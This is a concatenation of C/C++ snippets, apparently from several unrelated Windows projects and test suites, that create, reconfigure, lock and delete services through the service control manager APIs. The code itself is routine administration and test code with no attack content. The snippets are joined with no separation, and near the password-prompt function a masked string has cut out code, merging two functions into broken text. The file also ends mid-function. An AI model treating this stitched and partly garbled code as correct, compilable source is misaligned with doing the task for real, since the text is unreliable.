/**
* Creates the service.
*
* @returns 0 on success.
* @returns -1 on failure.
*/
static int suplibOsUpdateService(void)
{
/*
* Assume it didn't exist, so we'll create the service.
*/
SC_HANDLE hSMgr = OpenSCManager(NULL, NULL, SERVICE_CHANGE_CONFIG);
DWORD LastError = GetLastError(); NOREF(LastError);
AssertMsg(hSMgr, ("OpenSCManager(,,delete) failed LastError=%Rwa\n", LastError));
if (hSMgr)
{
SC_HANDLE hService = OpenService(hSMgr, SERVICE_NAME, SERVICE_CHANGE_CONFIG);
if (hService)
{
char szDriver[RTPATH_MAX];
int rc = RTPathExecDir(szDriver, sizeof(szDriver) - sizeof("\\VBoxDrv.sys"));
if (RT_SUCCESS(rc))
{
strcat(szDriver, "\\VBoxDrv.sys");
SC_LOCK hLock = LockServiceDatabase(hSMgr);
if (ChangeServiceConfig(hService,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
szDriver,
NULL, NULL, NULL, NULL, NULL, NULL))
{
UnlockServiceDatabase(hLock);
CloseServiceHandle(hService);
CloseServiceHandle(hSMgr);
return 0;
}
else
{
DWORD LastError = GetLastError(); NOREF(LastError);
AssertMsgFailed(("ChangeServiceConfig failed LastError=%Rwa\n", LastError));
}
}
UnlockServiceDatabase(hLock);
CloseServiceHandle(hService);
}
else
{
DWORD LastError = GetLastError(); NOREF(LastError);
AssertMsgFailed(("OpenService failed LastError=%Rwa\n", LastError));
}
CloseServiceHandle(hSMgr);
}
return -1;
}
BOOL ChangeConfig()
{
SC_HANDLE service;
SC_HANDLE scm;
BOOL res;
SC_LOCK lock;
scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS | GENERIC_WRITE);
if (!scm) {
ErrorHandler("OpenSCManager", GetLastError());
}
lock = LockServiceDatabase(scm);
if (lock == 0) {
ErrorHandler("LockServiceDatabase", GetLastError());
}
service = OpenService(scm, ServiceName, SERVICE_ALL_ACCESS);
if (!service) {
ErrorHandler("OpenService", GetLastError());
}
res = ChangeServiceConfig(
service,
SERVICE_NO_CHANGE,
SERVICE_NO_CHANGE,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
if (!res) {
UnlockServiceDatabase(lock);
ErrorHandler("ChangeServiceConfig", GetLastError());
}
res = UnlockServiceDatabase(lock);
if (!res) {
ErrorHandler("UnlockServiceDatabase", GetLastError());
}
CloseServiceHandle(service);
CloseServiceHandle(scm);
return TRUE;
}
bool
ServiceManager::_ReconfigureService(SC_HANDLE hSCManager, const String &ServiceName)
//---------------------------------------------------------------------------//
// DESCRIPTION:
// Updates an existing hMailServer service.
//---------------------------------------------------------------------------//
{
// Retrieve the handle for the service.
SC_HANDLE hService = OpenService( hSCManager, ServiceName, SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG);
SC_LOCK sclLock = LockServiceDatabase(hSCManager);
if (sclLock == NULL)
{
ErrorManager::Instance()->ReportError(ErrorManager::Medium, 5056, "ServiceManager::_ReconfigureService", "Failed to obtain lock on service database.");
CloseServiceHandle(hService);
return false;
}
// Update the path to the executable
String sPath;
sPath = Application::GetExecutableName();
sPath += " RunAsService";
if (ChangeServiceConfig(
hService, // handle of service
SERVICE_NO_CHANGE , // service type: no change
SERVICE_NO_CHANGE, // service start type no change
SERVICE_NO_CHANGE, // error control: no change
sPath, // binary path changed
NULL, // load order group: no change
NULL, // tag ID: no change
NULL, // dependencies: no change
NULL, // account name: no change
NULL, // password: no change
NULL) == 0) // display name: no change
{
String sErrorMessage;
sErrorMessage.Format(_T("ChangeServiceConfig failed. (%d)"), GetLastError());
ErrorManager::Instance()->ReportError(ErrorManager::Medium, 5057, "ServiceManager::_ReconfigureService", sErrorMessage);
return false;
}
// Unlock and release.
CloseServiceHandle(hService);
UnlockServiceDatabase(sclLock);
CloseServiceHandle (hSCManager);
return true;
}
BOOL CNTServiceControlManager::Unlock()
{
BOOL bSuccess = TRUE;
if (m_hLock)
{
bSuccess = UnlockServiceDatabase(m_hLock);
m_hLock = NULL;
}
return bSuccess;
}
BOOL
SetServiceConfig(LPQUERY_SERVICE_CONFIG pServiceConfig,
LPWSTR lpServiceName,
LPWSTR lpPassword)
{
SC_HANDLE hSCManager;
SC_HANDLE hSc;
SC_LOCK scLock;
BOOL bRet = FALSE;
hSCManager = OpenSCManagerW(NULL,
NULL,
SC_MANAGER_LOCK);
if (hSCManager)
{
scLock = LockServiceDatabase(hSCManager);
if (scLock)
{
hSc = OpenServiceW(hSCManager,
lpServiceName,
SERVICE_CHANGE_CONFIG);
if (hSc)
{
if (ChangeServiceConfigW(hSc,
pServiceConfig->dwServiceType,
pServiceConfig->dwStartType,
pServiceConfig->dwErrorControl,
pServiceConfig->lpBinaryPathName,
pServiceConfig->lpLoadOrderGroup,
pServiceConfig->dwTagId ? &pServiceConfig->dwTagId : NULL,
pServiceConfig->lpDependencies,
pServiceConfig->lpServiceStartName,
lpPassword,
pServiceConfig->lpDisplayName))
{
bRet = TRUE;
}
CloseServiceHandle(hSc);
}
UnlockServiceDatabase(scLock);
}
CloseServiceHandle(hSCManager);
}
if (!bRet)
GetError();
return bRet;
}
void
ServiceManager::MakeDependentOn(const String &ServiceName)
//---------------------------------------------------------------------------//
// DESCRIPTION:
// Makes hMailServer dependent on RPCSS and ServiceName
//---------------------------------------------------------------------------//
{
// Retrieve the handle for the local service manager.
SC_HANDLE hSCManager;
hSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE | SC_MANAGER_LOCK);
// Retrieve the handle for the service.
SC_HANDLE hService = OpenService( hSCManager, _T("hMailServer"), SERVICE_CHANGE_CONFIG );
SC_LOCK sclLock = LockServiceDatabase(hSCManager);
if (sclLock == NULL)
{
CloseServiceHandle(hService);
return;
}
int iLength = ServiceName.GetLength() + 8;
TCHAR * lpDependent = new TCHAR[iLength];
memset(lpDependent, 0, iLength * sizeof(TCHAR));
_tcscpy(lpDependent, _T("RPCSS"));
_tcscpy(lpDependent+6, ServiceName);
int iRet = ChangeServiceConfig(
hService, // handle of service
SERVICE_NO_CHANGE, // service type: no change
SERVICE_NO_CHANGE, // service start type no change
SERVICE_NO_CHANGE, // error control: no change
NULL, // binary path changed
NULL, // load order group: no change
NULL, // tag ID: no change
lpDependent, // dependencies: no change
NULL, // account name: no change
NULL, // password: no change
NULL); // display name: no change
CloseServiceHandle(hService);
UnlockServiceDatabase(sclLock);
delete [] lpDependent;
}
BOOL
SetServiceDescription(LPWSTR lpServiceName,
LPWSTR lpDescription)
{
SC_HANDLE hSCManager;
SC_HANDLE hSc;
SC_LOCK scLock;
SERVICE_DESCRIPTION ServiceDescription;
BOOL bRet = FALSE;
hSCManager = OpenSCManagerW(NULL,
NULL,
SC_MANAGER_LOCK);
if (hSCManager)
{
scLock = LockServiceDatabase(hSCManager);
if (scLock)
{
hSc = OpenServiceW(hSCManager,
lpServiceName,
SERVICE_CHANGE_CONFIG);
if (hSc)
{
ServiceDescription.lpDescription = lpDescription;
if (ChangeServiceConfig2W(hSc,
SERVICE_CONFIG_DESCRIPTION,
&ServiceDescription))
{
bRet = TRUE;
}
CloseServiceHandle(hSc);
}
UnlockServiceDatabase(scLock);
}
CloseServiceHandle(hSCManager);
}
if (!bRet)
GetError();
return bRet;
}
DWORD ConfigService( int svc ) {
SC_HANDLE scm = NULL;
SC_HANDLE hsvc = NULL;
SC_LOCK scl = NULL;
DWORD rv = ERROR_SUCCESS;
scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if(scm == NULL) {rv = GetLastError(); goto _cleanup; }
scl = LockServiceDatabase(scm);
if(scl == NULL) {rv = GetLastError(); goto _cleanup; }
hsvc = OpenService( scm, ((svc==1)? _T("TransarcAFSDaemon") : _T("TransarcAFSServer")), SERVICE_ALL_ACCESS);
if(hsvc == NULL) {rv = GetLastError(); goto _cleanup; }
SERVICE_FAILURE_ACTIONS sfa;
SC_ACTION saact[3];
sfa.dwResetPeriod = 3600; // one hour
sfa.lpRebootMsg = NULL;
sfa.lpCommand = NULL;
sfa.cActions = 3;
sfa.lpsaActions = saact;
saact[0].Type = SC_ACTION_RESTART;
saact[0].Delay = 5000;
saact[1].Type = SC_ACTION_RESTART;
saact[1].Delay = 5000;
saact[2].Type = SC_ACTION_NONE;
saact[2].Delay = 5000;
if(!ChangeServiceConfig2(hsvc, SERVICE_CONFIG_FAILURE_ACTIONS, &sfa))
rv = GetLastError();
_cleanup:
if(hsvc) CloseServiceHandle(hsvc);
if(scl) UnlockServiceDatabase(scl);
if(scm) CloseServiceHandle(scm);
return rv;
}
int DelService(const TCHAR *pszStartStopName)
{
int rc = ERROR_SUCCESS;
_tprintf(_T("Deleting service '%ws' ...\n"), pszStartStopName);
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE hService = NULL;
if (hSCManager == NULL)
{
_tprintf(_T("Could not get handle to SCM! Error: %ld\n"), GetLastError());
rc = EXIT_FAIL;
}
else
{
hService = OpenService(hSCManager, pszStartStopName, SERVICE_ALL_ACCESS);
if (NULL == hService)
{
_tprintf(_T("Could not open service '%ws'! Error: %ld\n"), pszStartStopName, GetLastError());
rc = EXIT_FAIL;
}
}
if (hService != NULL)
{
if (LockServiceDatabase(hSCManager))
{
if (FALSE == DeleteService(hService))
{
DWORD dwErr = GetLastError();
switch (dwErr)
{
case ERROR_SERVICE_MARKED_FOR_DELETE:
_tprintf(_T("Service '%ws' already marked for deletion.\n"), pszStartStopName);
break;
default:
_tprintf(_T("Could not delete service '%ws'! Error: %ld\n"), pszStartStopName, GetLastError());
rc = EXIT_FAIL;
break;
}
}
else
{
_tprintf(_T("Service '%ws' successfully removed!\n"), pszStartStopName);
}
UnlockServiceDatabase(hSCManager);
}
else
{
_tprintf(_T("Unable to lock service database! Error: %ld\n"), GetLastError());
rc = EXIT_FAIL;
}
CloseServiceHandle(hService);
}
if (hSCManager != NULL)
CloseServiceHandle(hSCManager);
return rc;
}
/**
* @brief
* unregister_scm - unregister_scm: return 0 for success; non-zero for fail
*
* @param[in] svc_name - service name.
*
* @return int
* @retval 0 : success
* @retval non-zero : fail
*/
int
unregister_scm(char *svc_name)
{
SC_LOCK sclLock = NULL;
SC_HANDLE schService = NULL;
SC_HANDLE schSCManager = NULL;
int ret = 1;
SERVICE_STATUS ss;
int try;
schSCManager = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS);
if (!schSCManager) {
fprintf(stderr, "OpenSCManager failed - %d\n",
GetLastError());
goto unregister_scm_cleanup;
}
/* Open a handle to the service instance. */
schService = OpenService(schSCManager, svc_name,
SERVICE_ALL_ACCESS);
if (!schService) {
fprintf(stderr, "OpenService %s failed - %d\n",
svc_name, GetLastError());
goto unregister_scm_cleanup;
}
/* Get the SCM database lock before changing the password. */
sclLock = LockServiceDatabase(schSCManager);
if (sclLock == NULL) {
fprintf(stderr, "LockServiceDatabase failed - %d\n",
GetLastError());
goto unregister_scm_cleanup;
}
/* Stop the service first */
ControlService(schService, SERVICE_CONTROL_STOP, &ss);
try = 0;
ss.dwCurrentState = SERVICE_RUNNING;
while ((try < WAIT_RETRY_MAX) && ss.dwCurrentState != SERVICE_STOPPED) {
printf("[try %d] waiting for service %s to die\n", try,
svc_name);
sleep(3);
if (!QueryServiceStatus(schService, &ss))
break;
try++;
}
if (!DeleteService(schService)) {
fprintf(stderr,
"DeleteService(%s) failed - %d\n",
svc_name, GetLastError());
goto unregister_scm_cleanup;
}
printf("\nDeleted service %s\n", svc_name);
ret = 0;
unregister_scm_cleanup:
if (sclLock)
UnlockServiceDatabase(sclLock);
if (schService)
CloseServiceHandle(schService);
if (schSCManager)
CloseServiceHandle(schSCManager);
return (ret);
}
/**
* @brief
* prompt_to_get_password - prompt for password.
*
* @param[out] pass - password.
*/
void
prompt_to_get_password(char pass[LM20_PWLEN+1])
{
int ch, j;
printf("Please enter password: "******"");
if ((p=strstr((const char *)account, "\\"))) {
*p = '\0';
strcpy(dname, (const char *)account);
*p = '\\';
strcpy(uname, p+1);
}
mbstowcs(unamew, uname, UNLEN+1);
mbstowcs(dnamew, dname, PBS_MAXHOSTNAME+1);
mbstowcs(passwordw, password, LM20_PWLEN+1);
si.cb = sizeof(si);
si.lpDesktop = L"";
if( !for_info_only && \
((rc=CreateProcessWithLogonW(unamew, dnamew,
passwordw, 0, NULL, L"cmd /c echo okay", flags,
NULL, NULL, &si, &pi)) == 0)) {
fprintf(stderr,
"Password did not validate against %s err=%d\n\nClick BACK button to retry a different password.\nClick NEXT button to abort installation.", account, GetLastError());
wcsset(passwordw, 0);
return (0);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
printf("%s password for %s\n",
(for_info_only?"Validating":"Validated"), account);
wcsset(passwordw, 0);
return (1);
}
/**
* @brief
* register_scm - return 0 for success; non-zero for fail
*
* @param[in] svc_name - service name
* @param[in] svc_exec - service executable path
* @param[in] svc_account - service account
* @param[in] svc_password - service password
*
* @return int
* @retval 0 : good to go!
* @retval 1 : something bad happened.
*/
int
register_scm(char *svc_name, char *svc_exec, char *svc_account, char *svc_password)
{
SC_LOCK sclLock = NULL;
SC_HANDLE schService = NULL;
SC_HANDLE schSCManager = NULL;
int ret = 1;
schSCManager = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS);
if (!schSCManager) {
fprintf(stderr, "OpenSCManager failed - %d\n",
GetLastError());
goto register_scm_cleanup;
}
/* Get the SCM database lock before changing the password. */
sclLock = LockServiceDatabase(schSCManager);
if (sclLock == NULL) {
fprintf(stderr, "LockServiceDatabase failed - %d\n",
GetLastError());
goto register_scm_cleanup;
}
/* Set the account and password that the service uses at */
/* startup. */
schService = CreateService(schSCManager, svc_name, __TEXT(svc_name),
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
replace_space(svc_exec, ""), 0, 0, 0,
svc_account,
svc_password);
if (!schService) {
fprintf(stderr,
"CreateService(%s, path=%s, account=%s) failed - %d\n",
svc_name, svc_exec, svc_account, GetLastError());
goto register_scm_cleanup;
}
printf("\nCreated service %s with path=%s and account=%s\n",
svc_name, svc_exec, svc_account);
if (strcmpi(svc_name, "PBS_SCHED") == 0) {
SERVICE_FAILURE_ACTIONS sfa;
SC_ACTION sca[1];
sca[0].Type = SC_ACTION_RESTART;
sca[0].Delay = 60*1000;
sfa.dwResetPeriod = INFINITE;
sfa.lpRebootMsg = NULL;
sfa.lpCommand = NULL;
sfa.cActions = 1;
sfa.lpsaActions = sca;
ChangeServiceConfig2(schService,
SERVICE_CONFIG_FAILURE_ACTIONS, &sfa);
printf("\nConfigured %s to restart on failure\n", svc_name);
}
ret = 0;
register_scm_cleanup:
if (sclLock)
UnlockServiceDatabase(sclLock);
if (schService)
CloseServiceHandle(schService);
if (schSCManager)
CloseServiceHandle(schSCManager);
return (ret);
}
static void Test_LockUnlockServiceDatabase(void)
{
BOOL bError = FALSE;
SC_HANDLE hScm = NULL;
SC_LOCK hLock = NULL;
/* First of all, try to lock / unlock the services database with invalid handles */
SetLastError(0xdeadbeef);
hScm = NULL;
hLock = LockServiceDatabase(hScm);
ok(hLock == NULL, "hLock = 0x%p, expected 0\n", hLock);
ok_err(ERROR_INVALID_HANDLE);
SetLastError(0xdeadbeef);
hScm = (SC_HANDLE)0xdeadbeef;
hLock = LockServiceDatabase(hScm);
ok(hLock == NULL, "hLock = 0x%p, expected 0\n", hLock);
ok_err(ERROR_INVALID_HANDLE);
/** This test seems to make this application crash on Windows 7... I do not know why... **/
SetLastError(0xdeadbeef);
hLock = NULL;
bError = UnlockServiceDatabase(hLock);
ok(bError == FALSE, "bError = %u, expected FALSE\n", bError);
ok_err(ERROR_INVALID_SERVICE_LOCK);
/*****************************************************************************************/
SetLastError(0xdeadbeef);
hLock = (SC_LOCK)0xdeadbeef;
bError = UnlockServiceDatabase(hLock);
ok(bError == FALSE, "bError = %u, expected FALSE\n", bError);
ok_err(ERROR_INVALID_SERVICE_LOCK);
/* Then, try to lock the services database without having rights */
SetLastError(0xdeadbeef);
hScm = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError());
if (!hScm)
{
skip("No service control manager; cannot proceed with LockUnlockServiceDatabase test\n");
goto cleanup;
}
ok_err(ERROR_SUCCESS);
SetLastError(0xdeadbeef);
hLock = LockServiceDatabase(hScm);
ok(hLock == NULL, "hLock = 0x%p, expected 0\n", hLock);
ok_err(ERROR_ACCESS_DENIED);
if (hLock)
UnlockServiceDatabase(hLock);
CloseServiceHandle(hScm);
/* Try to lock the services database with good rights */
SetLastError(0xdeadbeef);
hScm = OpenSCManagerW(NULL, NULL, SC_MANAGER_LOCK);
ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError());
if (!hScm)
{
skip("No service control manager; cannot proceed with LockUnlockServiceDatabase test\n");
goto cleanup;
}
ok_err(ERROR_SUCCESS);
SetLastError(0xdeadbeef);
hLock = LockServiceDatabase(hScm);
ok(hLock != NULL, "hLock = 0x%p, expected non-zero\n", hLock);
ok_err(ERROR_SUCCESS);
/* Now unlock it */
if (hLock)
{
SetLastError(0xdeadbeef);
bError = UnlockServiceDatabase(hLock);
ok(bError == TRUE, "bError = %u, expected TRUE\n", bError);
ok_err(ERROR_SUCCESS);
}
cleanup:
if (hScm)
CloseServiceHandle(hScm);
return;
}
extern "C" void __declspec(dllexport) RemoveService(
HWND hwndParent,
int string_size,
TCHAR *variables,
stack_t **stacktop)
{
TCHAR ServiceName[100] = {0};
TCHAR* reason = 0;
TCHAR* stopString = NULL;
BOOL okay = FALSE;
DWORD error = 0;
g_hwndParent=hwndParent;
g_stringsize=string_size;
g_stacktop=stacktop;
g_variables=variables;
//MessageBox(hwndParent, TEXT("Enter Remove Service"), TEXT("RemoveService"), MB_OK);
if (0 == popstring(ServiceName))
{
//MessageBox(hwndParent, ServiceName, TEXT("RemoveService"), MB_OK);
SC_HANDLE hSCM = OpenSCManager(0,0,SC_MANAGER_ALL_ACCESS);
if (hSCM)
{
SC_HANDLE hService = OpenService(hSCM, ServiceName, SERVICE_ALL_ACCESS);
if (hService)
{
SC_LOCK hLock = LockServiceDatabase(hSCM);
if(hLock)
{
okay = DeleteService(hService);
if (!okay)
{
error = GetLastError();
}
UnlockServiceDatabase(hLock);
}
else
{
error = GetLastError();
}
CloseServiceHandle(hService);
}
else
{
error = GetLastError();
}
CloseServiceHandle(hSCM);
}
else
{
error = GetLastError();
}
}
else
{
SetLastError(ERROR_INVALID_PARAMETER);
}
if (FALSE == okay)
{
if (!reason)
{
LPVOID lpMsgBuf = NULL;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
(LPTSTR) &lpMsgBuf,
0,
NULL
);
pushstring((TCHAR*)lpMsgBuf);
LocalFree(lpMsgBuf);
}
else
{
pushstring(reason);
}
}
else
{
pushstring(TEXT("Ok"));
}
}
static void Test_QueryLockStatusA(void)
{
BOOL bError = FALSE;
SC_HANDLE hScm = NULL;
SC_LOCK hLock = NULL;
LPQUERY_SERVICE_LOCK_STATUSA lpLockStatus = NULL;
DWORD dwRequiredSize = 0;
/* Firstly try to get lock status with invalid handles */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
NULL,
0,
&dwRequiredSize);
ok(bError == FALSE && GetLastError() == ERROR_INVALID_HANDLE, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INVALID_HANDLE);
ok(dwRequiredSize == 0, "dwRequiredSize is non-zero, expected zero\n");
/* Open the services database without having rights */
SetLastError(0xdeadbeef);
hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError());
if (!hScm)
{
skip("No service control manager; cannot proceed with QueryLockStatusA test\n");
goto cleanup;
}
ok_err(ERROR_SUCCESS);
/* Try to get lock status */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
NULL,
0,
&dwRequiredSize);
ok(bError == FALSE && GetLastError() == ERROR_ACCESS_DENIED, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_ACCESS_DENIED);
ok(dwRequiredSize == 0, "dwRequiredSize is non-zero, expected zero\n");
CloseServiceHandle(hScm);
/*
* Query only the lock status.
*/
SetLastError(0xdeadbeef);
hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_QUERY_LOCK_STATUS);
ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError());
if (!hScm)
{
skip("No service control manager; cannot proceed with QueryLockStatusA test\n");
goto cleanup;
}
ok_err(ERROR_SUCCESS);
/* Get the needed size */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
NULL,
0,
&dwRequiredSize);
ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER);
ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n");
if (dwRequiredSize == 0)
{
skip("Required size is null; cannot proceed with QueryLockStatusA test\n");
goto cleanup;
}
/* Allocate memory */
lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize);
if (lpLockStatus == NULL)
{
skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize);
goto cleanup;
}
/* Get the actual value */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
lpLockStatus,
dwRequiredSize,
&dwRequiredSize);
ok(bError, "bError = %u, expected TRUE\n", bError);
/* These conditions must be verified iff the services database wasn't previously locked */
ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked);
ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n");
ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n");
ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration);
HeapFree(GetProcessHeap(), 0, lpLockStatus);
CloseServiceHandle(hScm);
/*
* Now, try to lock the database and check its lock status.
*/
SetLastError(0xdeadbeef);
hScm = OpenSCManagerA(NULL, NULL, SC_MANAGER_LOCK | SC_MANAGER_QUERY_LOCK_STATUS);
ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError());
if (!hScm)
{
skip("No service control manager; cannot proceed with QueryLockStatusA test\n");
goto cleanup;
}
ok_err(ERROR_SUCCESS);
/* Get the needed size */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
NULL,
0,
&dwRequiredSize);
ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER);
ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n");
if (dwRequiredSize == 0)
{
skip("Required size is null; cannot proceed with QueryLockStatusA test\n");
goto cleanup;
}
/* Allocate memory */
lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize);
if (lpLockStatus == NULL)
{
skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize);
goto cleanup;
}
/* Get the actual value */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
lpLockStatus,
dwRequiredSize,
&dwRequiredSize);
ok(bError, "bError = %u, expected TRUE\n", bError);
/* These conditions must be verified iff the services database wasn't previously locked */
ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked);
ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n");
ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n");
ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration);
HeapFree(GetProcessHeap(), 0, lpLockStatus);
/*
* Try again, this time with the database locked.
*/
SetLastError(0xdeadbeef);
hLock = LockServiceDatabase(hScm);
ok(hLock != NULL, "hLock = 0x%p, expected non-zero\n", hLock);
ok_err(ERROR_SUCCESS);
Sleep(1000); /* Wait 1 second to let lpLockStatus->dwLockDuration increment */
/* Get the needed size */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
NULL,
0,
&dwRequiredSize);
ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER);
ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n");
if (dwRequiredSize == 0)
{
skip("Required size is null; cannot proceed with QueryLockStatusA test\n");
goto cleanup;
}
/* Allocate memory */
lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize);
if (lpLockStatus == NULL)
{
skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize);
goto cleanup;
}
/* Get the actual value */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
lpLockStatus,
dwRequiredSize,
&dwRequiredSize);
ok(bError, "bError = %u, expected TRUE\n", bError);
/* These conditions must be verified iff the services database is locked */
ok(lpLockStatus->fIsLocked != 0, "lpLockStatus->fIsLocked = %lu, expected non-zero\n", lpLockStatus->fIsLocked);
ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n");
ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner != 0, "*lpLockStatus->lpLockOwner = \"\\0\", expected non-zero\n");
ok(lpLockStatus->dwLockDuration != 0, "lpLockStatus->dwLockDuration = %lu, expected non-zero\n", lpLockStatus->dwLockDuration);
HeapFree(GetProcessHeap(), 0, lpLockStatus);
/*
* Last try, with the database again unlocked.
*/
SetLastError(0xdeadbeef);
bError = UnlockServiceDatabase(hLock);
ok(bError == TRUE, "bError = %u, expected TRUE\n", bError);
ok_err(ERROR_SUCCESS);
hLock = NULL;
/* Get the needed size */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
NULL,
0,
&dwRequiredSize);
ok(bError == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER, "(bError, GetLastError()) = (%u, 0x%08lx), expected (FALSE, 0x%08lx)\n", bError, GetLastError(), (DWORD)ERROR_INSUFFICIENT_BUFFER);
ok(dwRequiredSize != 0, "dwRequiredSize is zero, expected non-zero\n");
if (dwRequiredSize == 0)
{
skip("Required size is null; cannot proceed with QueryLockStatusA test\n");
goto cleanup;
}
/* Allocate memory */
lpLockStatus = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize);
if (lpLockStatus == NULL)
{
skip("Cannot allocate %lu bytes of memory\n", dwRequiredSize);
goto cleanup;
}
/* Get the actual value */
SetLastError(0xdeadbeef);
bError = QueryServiceLockStatusA(hScm,
lpLockStatus,
dwRequiredSize,
&dwRequiredSize);
ok(bError, "bError = %u, expected TRUE\n", bError);
/* These conditions must be verified iff the services database is unlocked */
ok(lpLockStatus->fIsLocked == 0, "lpLockStatus->fIsLocked = %lu, expected 0\n", lpLockStatus->fIsLocked);
ok(lpLockStatus->lpLockOwner != NULL, "lpLockStatus->lpLockOwner is null, expected non-null\n");
ok(lpLockStatus->lpLockOwner && *lpLockStatus->lpLockOwner == 0, "*lpLockStatus->lpLockOwner != \"\\0\", expected \"\\0\"\n");
ok(lpLockStatus->dwLockDuration == 0, "lpLockStatus->dwLockDuration = %lu, expected 0\n", lpLockStatus->dwLockDuration);
HeapFree(GetProcessHeap(), 0, lpLockStatus);
cleanup:
if (hLock)
UnlockServiceDatabase(hLock);
if (hScm)
CloseServiceHandle(hScm);
return;
}
static void Test_LockUnlockServiceDatabaseWithServiceStart(void)
{
BOOL bError = FALSE;
SC_HANDLE hScm = NULL;
SC_HANDLE hSvc = NULL;
SC_LOCK hLock = NULL;
LPQUERY_SERVICE_CONFIGW lpConfig = NULL;
DWORD dwRequiredSize = 0;
SERVICE_STATUS status;
BOOL bWasRunning = FALSE;
DWORD dwOldStartType = 0;
/* Open the services database */
SetLastError(0xdeadbeef);
hScm = OpenSCManagerW(NULL, NULL, SC_MANAGER_LOCK);
ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError());
if (!hScm)
{
skip("No service control manager; cannot proceed with LockUnlockServiceDatabaseWithServiceStart test\n");
goto cleanup;
}
ok_err(ERROR_SUCCESS);
/* Grab a handle to the testing service */
SetLastError(0xdeadbeef);
hSvc = OpenServiceW(hScm, TESTING_SERVICE, SERVICE_START | SERVICE_STOP | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS);
